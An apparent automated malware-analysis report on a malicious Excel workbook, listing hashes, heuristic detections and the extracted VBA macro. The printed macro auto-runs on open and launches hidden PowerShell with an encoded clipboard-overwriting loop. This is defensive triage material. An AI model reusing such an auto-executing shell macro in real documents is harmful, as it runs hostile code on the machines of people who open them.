Office (OOXML) malware analysis — malicious · 62a8b67b0f5699bd

MALICIOUS

Office (OOXML)

21.1 KB Created: 2019-07-04 07:43:13 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-02-18

MD5: 92441e87d9c07416a47c566bd8de1357 SHA-1: b8c0ad2189fc48b77a774ad784a1ffd6e7187a60 SHA-256: 62a8b67b0f5699bdc629d4b887ed086fbe47094e4b57e9dddc230d9424fd945a

230 Risk Score

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
Shell "cmd /c powershell -w h enc"
```
PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA
Matched line in script
```
Shell "cmd /c powershell -w h enc"
```
cmd.exe reference in VBA high OLE_VBA_CMD

cmd.exe reference in VBA
Matched line in script
```
Shell "cmd /c powershell -w h enc"
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	836 bytes
SHA-256: `4914118ddeb38506ef7ea1b256f7289600f96c032d829783a21e9b1c4123e103`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub Workbook_Open() Shell "cmd /c powershell -w h enc" JHNsdXAgPSAiaXBpcGlwaXBpcCIKZm9yICg7OykgewogICAgJGNsaXAgPSBHZXQtQ2xpcGJvYXJkIAogICAgU2V0LUNsaXBib2FyZCAkc2x1cAogICAgU3RhcnQtU2xlZXAgMQogICAgfQ== End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Sub Workbook()
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	12288 bytes
SHA-256: `937eacee3c37322468deb631cc448fe5522bb84e18810a1e42fd143653c9f305`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 long base64-like blob(s).

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